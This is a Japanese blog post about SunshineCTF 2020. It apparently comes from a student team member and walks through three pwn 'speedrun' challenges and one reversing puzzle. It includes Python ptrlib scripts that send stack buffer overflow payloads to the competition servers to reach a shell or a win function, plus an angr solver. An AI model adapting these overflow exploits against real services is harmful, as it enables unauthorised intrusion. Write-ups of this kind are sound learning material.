SunshineCTF 2020

SunshineCTF 2020に参加しました

最近ちょこちょこctfやってて、割と解けたので書きたいと思います。bodhiで参加して最終的には233ptsで156位とかだった気がする。あんまり覚えていない。今回はspeedrun3問とrev1問書きます。revはもう友達が解いてくれていたのに、間違えてといてしまった。speedrun(pwn)は知識がないので調べながらやったため、おかしいところもあるかもしれません。

speedrun-00 (10pts)

配布されたファイル chall_00

まずfileコマンドで見ると64bitのelfであることが分かります。適当に実行して、ghidraでデコンパイルします。main部を見ます。getsの後にifで比較しています。なので、オーバーフローさせて、要素を書き換えてあげるといいことがわかります。スタックバッファオーバーフローですね。(あってる?)

以下にコードを書きます。

from ptrlib import *
import struct

sock=Socket("chal.2020.sunshinectf.org",30000)
elf=ELF("./chall_00")

sock.recvuntil("This is the only one")

payload=b"A"*56
payload+=struct.pack('<L',0xfacade)

sock.sendline(payload)

sock.interactive()

 このあとls -aしてcat flag.txtして終わりです。

speedrun-02 (10pts)

配布されたファイル chall_02

01は解けなかったので02に逃げちゃいました。00と同じくfileコマンドで見ると32bitのelfであることがわかります。ghidraでデコンパイルしてmain部を見ます。fgetsした後、vuln関数を呼び出しています。vuln関数ではgetsをして終わりです。なので、まずはfgetsに適当に文字を入れて、vuln関数に行った後でオーバーフローさせればいいことがわかります。オーバーフローさせてwin関数に行くといろいろできます。(これをshellを奪うっていうのかな?)

以下にコードを書きます。

from ptrlib import *

sock=Socket("chal.2020.sunshinectf.org",30002)
elf=ELF("./chall_02")

sock.recvuntil("Went along the mountain side.")

payload=b"A\n"
payload+=b"A"*62
payload+=p32(elf.symbol("win"))

sock.sendline(payload)

sock.interactive()

このあとls -aしてcat flag.txtして終わりです。

speedrun-04 (10pts)

配布されたファイル chall_04

4は2と一緒です。単純にelfが32から64bitに変わっただけです。

以下にコードを書きます。

from ptrlib import *

sock=Socket("chal.2020.sunshinectf.org",30004)
elf=ELF("./chall_04")

sock.recvuntil("Like some kind of madness, was taking control.")

payload=b"A\n"
payload+=b"A"*56
payload+=p64(elf.symbol("win"))

sock.sendline(payload)

sock.interactive()

 

Hotel Door Pazzle (100pts)

配布されたファイル  hotel_key_puzzle

fileコマンドで見ると、64bitのelfであることがわかります。これもghidraでデコンパイルして見てみるとmainでいろいろ言った後、check_flagで見ていることがわかります。check_flagを見に行くと、内容はやばいですね。でも僕は嬉しかったです。最近勉強したangrが使えるからです!

以下にコードを書きます。

import angr

project = angr.Project("./hotel_key_puzzle", auto_load_libs=False)

@project.hook(0x4022ba)
def print_flag(state):
  print(state.posix.dumps(0))
  project.terminate_execution()

project.execute()

解けた!ってなったけど、もう解かれてたんだよなぁw

 

感想

今回は簡単pwnを解くことができて嬉しかったです。cryptoは全く分からなかった。speedrunはwriteupを見て全部解けるようにしたいです。

今週末はいよいよKOSENセキュコンなので、いい成績が残せるように頑張りたいですね。